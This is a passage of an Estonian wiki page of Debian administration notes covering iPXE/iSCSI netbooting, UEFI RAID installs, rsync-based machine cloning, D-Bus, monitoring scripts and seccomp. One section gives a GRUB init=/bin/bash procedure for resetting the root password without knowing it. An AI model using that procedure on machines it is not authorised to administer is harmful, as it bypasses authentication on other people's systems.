&lt;br /&gt;
 $ zip -r --password parool katalooginimi.zip katalooginimi&lt;br /&gt;
&lt;br /&gt;
===Pipe viewer===&lt;br /&gt;
&lt;br /&gt;
Pipe viewer programmiga saab jälgida läbi toru mineva progressi. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # timeout 10 cat /dev/zero | pv &amp;gt; /dev/null&lt;br /&gt;
 4GB 0:00:07 [1.91GB/s] [               &amp;lt;=&amp;gt;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
===AUFS===&lt;br /&gt;
&lt;br /&gt;
AUFS http://aufs.sourceforge.net/ võimaldab mitme kataloogi sisu esitada ühes nö virtuaalses kataloogis. Alternatiivne võimalus on seda saavutada UnionFS abil.&lt;br /&gt;
&lt;br /&gt;
 # mount -t aufs -o dirs=/tmp/kata1:/tmp/kata2:/root/kata3 none /tmp/dir&lt;br /&gt;
&lt;br /&gt;
===Network manager===&lt;br /&gt;
&lt;br /&gt;
Lisaks Network manager graafilisele kasutajaliidesele on olemas ka käsurea utiliit nmcli&lt;br /&gt;
&lt;br /&gt;
 # nmcli -p dev&lt;br /&gt;
 ================================================&lt;br /&gt;
                Status of devices&lt;br /&gt;
 ================================================&lt;br /&gt;
 DEVICE      TYPE         STATE      CONNECTION &lt;br /&gt;
 ------------------------------------------------&lt;br /&gt;
 docker0     bridge       connected  docker0    &lt;br /&gt;
 vetha88a    ethernet     connected  vetha88a   &lt;br /&gt;
 br0         openvswitch  connected  br0        &lt;br /&gt;
 br3         openvswitch  connected  br3        &lt;br /&gt;
 tep0        openvswitch  connected  tep0       &lt;br /&gt;
 eth0        ethernet     unmanaged  --         &lt;br /&gt;
 lo          loopback     unmanaged  --         &lt;br /&gt;
 ovs-system  openvswitch  unmanaged  --         &lt;br /&gt;
&lt;br /&gt;
===Skänneri kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install &lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://help.ubuntu.com/community/ScanningHowTo&lt;br /&gt;
* http://www.sane-project.org/sane-backends.html&lt;br /&gt;
&lt;br /&gt;
===Logrotate===&lt;br /&gt;
&lt;br /&gt;
Näitab, mis toimub, aga midagi failisüsteemis vms ei tee&lt;br /&gt;
&lt;br /&gt;
 # logrotate -d /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Teeb nö jõuga&lt;br /&gt;
&lt;br /&gt;
 # logrotate -f /etc/logrotate.conf&lt;br /&gt;
&lt;br /&gt;
Roteeritud failide nimedes kuupäeva kasutamiseks sobib logrotate seadistusfailide vastavates sektsioonides kasutada lisaks rida&lt;br /&gt;
&lt;br /&gt;
 dateext&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on nt&lt;br /&gt;
&lt;br /&gt;
 /var/log/apache2/access.log-20140922.gz&lt;br /&gt;
&lt;br /&gt;
===iPXE===&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis mainitud dhcp serveri tarkvarana sobib kasutada paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
ja tftpd serverina paketti&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
iPXE tarkvara paketist&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ipxe&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kui on kasutada nö tavalise PXE toega võrgukaardiga arvuti, siis üks viis iPXE tarkvara kasutamiseks on laadida see dhcp + tftp serverilt, nt sellise sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
   filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* undionly.kpxe - paketist 'apt-get install ipxe'&lt;br /&gt;
&lt;br /&gt;
Tulemusena ilmub vastava arvuti ekraanile iPXE ja Ctrl-B abil saab siseneda iPXE keskkonda. Nt võrgust Debian Jessie installeri käivitamine toimub sedasi&lt;br /&gt;
&lt;br /&gt;
 chain http://ftp.imool.ee/pub/incoming/imre/dj-install.ipxe&lt;br /&gt;
&lt;br /&gt;
kus pöördutaval aadressil on tekst sisuga&lt;br /&gt;
&lt;br /&gt;
 # cat dj-install.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 kernel http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/linux&lt;br /&gt;
 initrd http://ftp.nl.debian.org/debian/dists/jessie/main/installer-amd64/current/images/netboot/debian-installer/amd64/initrd.gz&lt;br /&gt;
 boot&lt;br /&gt;
&lt;br /&gt;
Seejärel käivitab Debian installer. Paistab, et Jessie oskab iSCSI peale paigaldada.&lt;br /&gt;
&lt;br /&gt;
'chain' ütlemist saab automatiseerida nt sellise DHCP serveri sektsiooniga&lt;br /&gt;
&lt;br /&gt;
 host hp.auul {&lt;br /&gt;
   hardware ethernet 64:31:50:6c:c0:b4;&lt;br /&gt;
   fixed-address 192.168.10.41;&lt;br /&gt;
   option broadcast-address 192.168.10.255;&lt;br /&gt;
   option routers 192.168.10.254;&lt;br /&gt;
 &lt;br /&gt;
   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
   if exists user-class and option user-class = &amp;quot;iPXE&amp;quot; {&lt;br /&gt;
     filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/ipxe&amp;quot;;&lt;br /&gt;
   } else {&lt;br /&gt;
      filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
}   &lt;br /&gt;
&lt;br /&gt;
* esmalt klient arvuti töötab PXE abil DHCP kliendina ja laaditakse undionly.kpxe&lt;br /&gt;
* seejärel klient arvuti töötab iPXE abil DHCP kliendina ja pöördutakse http://ftp.imool.ee/pub/incoming/imre/ipxe poole&lt;br /&gt;
&lt;br /&gt;
====Debian v. 8 Jessie kasutamine diskless iSCSI kliendina====&lt;br /&gt;
&lt;br /&gt;
Üks praktiline vajadus iPXE jaoks on iSCSI ressursi kautamine juurfailisüsteemina. Selleks sobib Debian v. 8 Jessie paigaldada eelmises punktis näidatud viisil ja failisüsteemid paigutada iSCSI peale. Paigaldatud arvuti käivitamiseks sobib kasutada sellist iPXE skripti&lt;br /&gt;
&lt;br /&gt;
 # cat scsi-boot.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 &lt;br /&gt;
 dhcp&lt;br /&gt;
 set initiator-iqn iqn.1993-08.org.debian:01:6f3ac5994d50&lt;br /&gt;
 sanboot iscsi:10.1.1.15::::iqn.2000-01.com.synology:syno-varundus-1.imretest.989d9f15bf&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
mis laaditakse dchp serveri seadistusfailist reaga&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/iscsi-boot.ipxe&amp;quot;;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kui Debian Jessie peaks bootimisel jääma initramfs prompti, siis võib aidata käsitsi sobivate argumentidega öelda&lt;br /&gt;
&lt;br /&gt;
 # iscsistart ...&lt;br /&gt;
&lt;br /&gt;
või pärida iPXE käest&lt;br /&gt;
&lt;br /&gt;
 # iscsistart -b&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -t - ...&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://backreference.org/2013/12/23/diskless-iscsi-boot-with-pxe-howto/&lt;br /&gt;
* http://www.heath-bar.com/blog/?p=184&lt;br /&gt;
* http://etherboot.org/wiki/sanboot/debian_lenny_iscsi&lt;br /&gt;
* http://ipxe.org/cmd/sanboot&lt;br /&gt;
* http://wiki.openelec.tv/index.php/Network_Boot_-_iSCSI&lt;br /&gt;
* http://jpmens.net/2011/07/18/network-booting-machines-over-http/&lt;br /&gt;
&lt;br /&gt;
===D-Bus===&lt;br /&gt;
&lt;br /&gt;
D-Bus http://www.freedesktop.org/wiki/Software/dbus/ ...&lt;br /&gt;
&lt;br /&gt;
D-Bus peal toimuva jälgimiseks sobib kasutada nt d-feet programmi&lt;br /&gt;
&lt;br /&gt;
 # apt-get install d-feet&lt;br /&gt;
&lt;br /&gt;
[[Pilt:D-feet-1.gif]]&lt;br /&gt;
&lt;br /&gt;
PlayPause toggleb pausi ja jätkamise vahel, selle rakendamist võib klõpsida hiirega ja öelda Execute või käsurealt&lt;br /&gt;
&lt;br /&gt;
 $ dbus-send --print-reply --session --dest=org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.917 reply_serial=2&lt;br /&gt;
&lt;br /&gt;
Samal ajal ütleb dbus-monitor filtreeridest välja töötavale vlc eksemplarile (:1.913) vastused&lt;br /&gt;
&lt;br /&gt;
 $ dbus-monitor &amp;quot;sender=:1.913&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.978 reply_serial=2&lt;br /&gt;
 signal sender=:1.913 -&amp;gt; dest=(null destination) serial=88 path=/org/mpris/MediaPlayer2; \&lt;br /&gt;
   interface=org.freedesktop.DBus.Properties;  member=PropertiesChanged&lt;br /&gt;
   string &amp;quot;org.mpris.MediaPlayer2.Player&amp;quot;&lt;br /&gt;
   array [&lt;br /&gt;
      dict entry(&lt;br /&gt;
         string &amp;quot;PlaybackStatus&amp;quot;&lt;br /&gt;
         variant             string &amp;quot;Paused&amp;quot;&lt;br /&gt;
      )&lt;br /&gt;
   ]&lt;br /&gt;
   array [&lt;br /&gt;
   ]&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.gnome.org/Apps/DFeet&lt;br /&gt;
* http://en.wikipedia.org/wiki/D-Bus&lt;br /&gt;
&lt;br /&gt;
===Debian paigaldamine UEFI arvutisse===&lt;br /&gt;
&lt;br /&gt;
Olgu eesmärk paigadada UEFI firmwarega arvutisse Debian v. 8 Jessie, kusjuures kasutatakse kahe füüsilise kõvakettaga mdadm RAID1 lülitust. System setup keskkonnnas näidata moel või teisel, et arvuti töötab UEFI (mitte BIOS emulatsiooni vms) režiimis. Esimeseks boot valikuks valida UEFI shell. Shellis öelda&lt;br /&gt;
&lt;br /&gt;
 &amp;gt; fs0:\BOOT\EFI\BOOT...&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitub Debian Installer (DI), kus tuleb seadistada selline kõvaketaste kasutus&lt;br /&gt;
&lt;br /&gt;
* /dev/sda1 ja /dev/sdb1 - EFI System Partitionid, 512 MB&lt;br /&gt;
* /dev/sda2 ja /dev/sdb2 - mdadm mirror, 2 GB, kus hakkab paiknema /boot failisüsteem&lt;br /&gt;
* /dev/sda3 ja /dev/sdb3 - mdadm mirror, 24 GB, kus hakkab paiknema operatsioonisüsteem, LVM köidetel&lt;br /&gt;
* /dev/system/swap ja /dev/system/root - asub mdadm peal&lt;br /&gt;
* /dev/sda4 ja /dev/sdb4 jne - juurutatakse operatsioonisüsteemi keskkonnas&lt;br /&gt;
&lt;br /&gt;
Tundub, et selliselt ettevalmistatud kõvakettakasutusest saab DI hästi aru ja tulemusena tekib selline süsteem&lt;br /&gt;
&lt;br /&gt;
 # df&lt;br /&gt;
 Filesystem     1K-blocks   Used Available Use% Mounted on&lt;br /&gt;
 /dev/dm-0       11403544 938660   9862568   9% /&lt;br /&gt;
 udev               10240      0     10240   0% /dev&lt;br /&gt;
 tmpfs            1631032   8724   1622308   1% /run&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /dev/shm&lt;br /&gt;
 tmpfs               5120      0      5120   0% /run/lock&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /sys/fs/cgroup&lt;br /&gt;
 /dev/md0         1888268  35564   1738736   3% /boot&lt;br /&gt;
 /dev/sda1         497696    148    497548   1% /boot/efi&lt;br /&gt;
&lt;br /&gt;
Partitsioonid sellised&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sda p&lt;br /&gt;
 Model: ATA ST2000NM0033-9ZM (scsi)&lt;br /&gt;
 Disk /dev/sda: 2000GB&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 Disk Flags: &lt;br /&gt;
 &lt;br /&gt;
 Number  Start   End     Size    File system  Name      Flags&lt;br /&gt;
  1      1049kB  512MB   511MB   fat32        efsname   boot, esp&lt;br /&gt;
  2      512MB   2511MB  2000MB               sda2part  raid&lt;br /&gt;
  3      2511MB  26.5GB  24.0GB               sda3part  raid&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb kopeerida /dev/sdb1 peale /dev/sda1 failisüsteemi sisu (EFI GRUB bootloader).&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr &lt;br /&gt;
 BootCurrent: 0003&lt;br /&gt;
 Timeout: 1 seconds&lt;br /&gt;
 BootOrder: 0003,0009,000D,0000,0001,0002&lt;br /&gt;
 Boot0000* ATEN Virtual CDROM YS0J&lt;br /&gt;
 Boot0001* IBA GE Slot 0300 v1404&lt;br /&gt;
 Boot0002* P0: ST2000NM0033-9ZM175       &lt;br /&gt;
 Boot0003* debian&lt;br /&gt;
 Boot0009* UEFI: Built-in EFI Shell &lt;br /&gt;
 Boot000D* UEFI: ATEN Virtual CDROM YS0J&lt;br /&gt;
&lt;br /&gt;
===Arvuti kloonimine===&lt;br /&gt;
&lt;br /&gt;
Arvuti kloonimise tulemusena moodustatakse olemasoleva arvuti tarkvaralisest seistust, st operatsioonisüsteem ja seal töötavad rakendused, töötav koopia. Sõltuvalt asjaoludest, nt kui koopia töötab samas võrgus ja samal ajal lähtepunktiks oleva arvutiga, peab talle seadistama erineva ip aadressi. Kloonimise põhjuseks võib olla nt soov taha arenduspartnerile kättesaadavaks täpselt samasugune seis arvutist nagu on juba kasutada, sel juhul jääb ära vähem või rohkem keerukas arvuti ettevalmistamise aeg, mis kuluks operatsioonisüsteemi ja rakendusprogrammide seaditamisele.&lt;br /&gt;
&lt;br /&gt;
====Kloonimine failisüsteemi kopeerimise teel====&lt;br /&gt;
&lt;br /&gt;
Kloonimiseks on rikkalikult võimalusi, käesolev juhtum kirjeldab kloonimist failisüsteemi kopeerimise teel&lt;br /&gt;
&lt;br /&gt;
* valida välja sobiv klooniks saav arvuti, piisava protsessori, kõvakette, mälu, võrgu jms ressursiga&lt;br /&gt;
* käivitada puhas uus klooniks saav arvuti (füüsiline või virtuaalne) systemrescue cd plaadilt&lt;br /&gt;
* moodustada fdisk partitsioonid&lt;br /&gt;
* tekitada lvm&lt;br /&gt;
* tekitada failisüsteemid ja swap&lt;br /&gt;
&lt;br /&gt;
 # mkfs.ext4 /dev/sda1&lt;br /&gt;
 # mkfs.ext4 /dev/system/root&lt;br /&gt;
 # mkswap -f /dev/system/swap&lt;br /&gt;
&lt;br /&gt;
* ühendada failisüsteemid külge&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/root&lt;br /&gt;
 # mount /dev/system/root&lt;br /&gt;
 # mkdir /mnt/root/boot&lt;br /&gt;
 # mount /dev/sda1 /mnt/root/boot&lt;br /&gt;
&lt;br /&gt;
* seadistada võrk&lt;br /&gt;
* veenduda, et lähtepunktiks olevas arvutis on klooni riistvara jaoks vajalikud draiverid ja muuud komponendid olemas (LVM, mdadm tugi jms)&lt;br /&gt;
* kopeerida rsync abil üle failisüsteem, vajalike eranditega (nt /proc, /sys, /home)&lt;br /&gt;
&lt;br /&gt;
 orig# rsync -avHXA --exclude --exclude-deleted --numeric-ids --exclude-from=/root/ex / root@x.x.x.x:/mnt/root/&lt;br /&gt;
&lt;br /&gt;
* tekitada käsitsi excludetud kataloogid&lt;br /&gt;
&lt;br /&gt;
 # mkdir proc sys home tmp&lt;br /&gt;
 # chmod 1777 tmp&lt;br /&gt;
&lt;br /&gt;
* kohendada seadistusfaile&lt;br /&gt;
&lt;br /&gt;
 /etc/fstab&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
 /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;
&lt;br /&gt;
* ühendada külgeühendatud failisüsteemid lahti&lt;br /&gt;
* rebootida valikuda 'Boot Linux from hard disk'&lt;br /&gt;
* paigaldada bootloader&lt;br /&gt;
&lt;br /&gt;
 # install-grub --recheck --no-floppy /dev/sda&lt;br /&gt;
&lt;br /&gt;
* bootida paigaldatud bootloaderi promptist käsitsi&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; linux /vmlinuz... root=/dev/mapper/system-root ro&lt;br /&gt;
 grub&amp;gt; initrd /initrd...&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
* genereerida /boot/grub/grub.conf&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
====Kopeeritud süsteemi korrastamine====&lt;br /&gt;
&lt;br /&gt;
Kopeeritud süsteemi edasiandmisel võib olla asjakohane pöörata tähelepanu sellistele asjaoludele, st kas ei anta edasi soovimatult palju andmeid&lt;br /&gt;
&lt;br /&gt;
* kasutajate kodukataloogid (.ssh, .pgpass jt)&lt;br /&gt;
* root, postgres jt süsteemsete ja muidu alles jäänud kasutajate .bash_history failid&lt;br /&gt;
&lt;br /&gt;
 # history -c&lt;br /&gt;
 # rm .bash_history&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* cron tööd (/etc/cron.*/*, crontab -l. /var/spool/cron ...)&lt;br /&gt;
* /var/backups (passwd.bak, shadow.pak jt)&lt;br /&gt;
* varunduse tarkvara agent (nt backupninja)&lt;br /&gt;
* monitooringu tarkvara agent (nt zabbix)&lt;br /&gt;
* liidestus AD vms keskse kasutajahalduse süsteemiga&lt;br /&gt;
* konfiguratsioooni halduse agent (nt puppet)&lt;br /&gt;
* logiserverisse logimine&lt;br /&gt;
* /tmp, /var/tmp kataloogide sisu&lt;br /&gt;
* /var/mail&lt;br /&gt;
* /usr/src&lt;br /&gt;
&lt;br /&gt;
===USB data bridge kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB data bridge on kahe otsaga ja keskel asuvad punniga USB kaabel, mille abil saab kaks arvutit omavahel ühendada andmevahetuseks. Üks populaarne kaabel paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # lsusb &lt;br /&gt;
 Bus 001 Device 005: ID 067b:2501 Prolific Technology, Inc. PL2501 USB-USB Bridge (USB 2.0)&lt;br /&gt;
&lt;br /&gt;
Tundub, et Debiani tuumas on mitme sarnase kaabli tugi, aga mitte päris PL2501 oma. Toe tekitamist kirjeldatakse aadressil https://lkml.org/lkml/2012/7/23/106. Muudatuste tegemiseks sobib kasutada tekstis http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Tuuma_kompileerimine kirjeldatud protseduuri.&lt;br /&gt;
&lt;br /&gt;
Peale mooduli laadimist tekib võrguseade&lt;br /&gt;
&lt;br /&gt;
 # ifconfig usb0&lt;br /&gt;
 usb0      Link encap:Ethernet  HWaddr a2:68:73:e5:d6:6e  &lt;br /&gt;
          inet6 addr: fe80::a068:73ff:fee5:d66e/64 Scope:Link&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://paulswasteland.blogspot.com.ee/2014/01/getting-prolific-pl-2501-based-usb-to.html&lt;br /&gt;
&lt;br /&gt;
===Single user ehk ühekasutaja režiim===&lt;br /&gt;
&lt;br /&gt;
Juhtumil, kui arvutisse ei saa root kasutajana sisse logida ja pole ka root parooli teada, et konsoolilt sisse logida, saab kasutada single user režiimi ja seal root parool muuta. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* GRUB bootloaderis liikuda nooltega meelepärase boot valiku peale&lt;br /&gt;
* vajutada e nagu edit (see on ekraani all kirjas)&lt;br /&gt;
* liikuda kernel parameetri juurde ja lisada kõige lõppu juurde tühik ning seejärel&lt;br /&gt;
&lt;br /&gt;
 init=/bin/bash&lt;br /&gt;
&lt;br /&gt;
* valida ctrl-x vms (see on ekraani all kirjas) ja arvuti bootida&lt;br /&gt;
&lt;br /&gt;
Tulemusena jõuab arvuti välja nn single user prompti. Selles olekus töötab arvutis suhteliselt vähe protsesse, juurfailisüsteem on monteeritud read-only olekus, võrk on seadistamata jne. root kasutaja või mõni muu kasutaja parooli seadmiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* monteerida juurfailisüsteem read-write olekusse&lt;br /&gt;
&lt;br /&gt;
 # mount -o rw,remount /&lt;br /&gt;
 # passwd kasutajanimi&lt;br /&gt;
 # sync&lt;br /&gt;
 # mount -o ro,remount /&lt;br /&gt;
 # sync&lt;br /&gt;
 # oodata 30 sekundit&lt;br /&gt;
 # reboot -f&lt;br /&gt;
&lt;br /&gt;
Seejärel peaks saama seda uut parooli kasutada.&lt;br /&gt;
&lt;br /&gt;
===Ksplice kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://oss.oracle.com/pipermail/ksplice-debian-8.0-updates/&lt;br /&gt;
&lt;br /&gt;
===Arvuti ressursikasutuse kaardistamine===&lt;br /&gt;
&lt;br /&gt;
Protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps auxef&lt;br /&gt;
&lt;br /&gt;
Avatud failid&lt;br /&gt;
&lt;br /&gt;
 # lsof -n -p PID&lt;br /&gt;
 # lsof -n -u USER&lt;br /&gt;
&lt;br /&gt;
Võrgusoketid&lt;br /&gt;
&lt;br /&gt;
 # lsof -i TCP&lt;br /&gt;
 # lsof -i UDP&lt;br /&gt;
 # lsof -U - unix domain sockets&lt;br /&gt;
&lt;br /&gt;
Semafoorid&lt;br /&gt;
&lt;br /&gt;
 # ipcs -u&lt;br /&gt;
 &lt;br /&gt;
 ------ Shared Memory Status --------&lt;br /&gt;
 segments allocated 2&lt;br /&gt;
 pages allocated 4309411&lt;br /&gt;
 pages resident  4136103&lt;br /&gt;
 pages swapped   169536&lt;br /&gt;
 Swap performance: 0 attempts     0 successes&lt;br /&gt;
 &lt;br /&gt;
 ------ Semaphore Status --------&lt;br /&gt;
 used arrays = 64&lt;br /&gt;
 allocated semaphores = 1083&lt;br /&gt;
 &lt;br /&gt;
 ------ Messages Status --------&lt;br /&gt;
 allocated queues = 0&lt;br /&gt;
 used headers = 0&lt;br /&gt;
 used space = 0 bytes&lt;br /&gt;
&lt;br /&gt;
Nt sellise skript kasutamine cron tööna kord minutis võiks koguda midagi, lisaks sar andmestikule&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/osres/bin/osres.sh &lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
LOG=&amp;quot;/var/log/osres&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if test -f /tmp/osres.lock; then&lt;br /&gt;
  echo &amp;quot;protsess kaib&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
#  echo &amp;quot;kaivitame crontabist osres&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
  touch /tmp/osres.lock&lt;br /&gt;
  echo &amp;quot;protsess kaivitatakse&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
&lt;br /&gt;
  timeout 20 ps auxef &amp;gt;&amp;gt; ${LOG}/ps-auxef_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 lsof -n &amp;gt;&amp;gt; ${LOG}/lsof-n_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -a &amp;gt;&amp;gt; ${LOG}/ipcs-a_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -u &amp;gt;&amp;gt; ${LOG}/ipcs-u_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 netstat -anp &amp;gt;&amp;gt; ${LOG}/netstat-anp_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 conntrack -L &amp;gt;&amp;gt; ${LOG}/conntrack-L_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 touch /var/lib/postgresql/iocheck/io_${AEG}&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 127.0.0.1 &amp;gt; ${LOG}/ping_127.0.0.1_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 10.0.6.73 &amp;gt; ${LOG}/ping_10.0.6.73_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ssh root@127.0.0.1 &amp;quot;date &amp;gt; ${LOG}/touch-over-ssh_${AEG}.log&amp;quot;&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 dig @10.0.9.4 auul.pri.ee soa &amp;gt;&amp;gt; ${LOG}/dig-10.0.9.4-auul.pri.ee-soa_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  export PGPASSWORD=&amp;quot;xxx&amp;quot;&lt;br /&gt;
  timeout 20 psql -h 10.0.6.174 -U monitoring baas -c &amp;quot;select now();&amp;quot; &amp;gt;&amp;gt; ${LOG}/psql-10.0.6.174-monitoring-portaal_${AEG}.log&lt;br /&gt;
  &lt;br /&gt;
  rm /tmp/osres.lock&lt;br /&gt;
&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===ConsoleKit===&lt;br /&gt;
&lt;br /&gt;
2017 seisuga paistab see olevat vananenud tehnoloogia, kasutatakse systemd-logind.&lt;br /&gt;
&lt;br /&gt;
